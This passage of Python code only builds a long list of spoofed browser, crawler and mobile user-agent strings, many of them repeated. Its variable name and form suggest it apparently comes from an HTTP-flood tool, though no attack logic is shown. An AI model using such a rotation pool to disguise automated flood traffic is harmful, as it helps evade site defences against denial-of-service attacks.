headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') 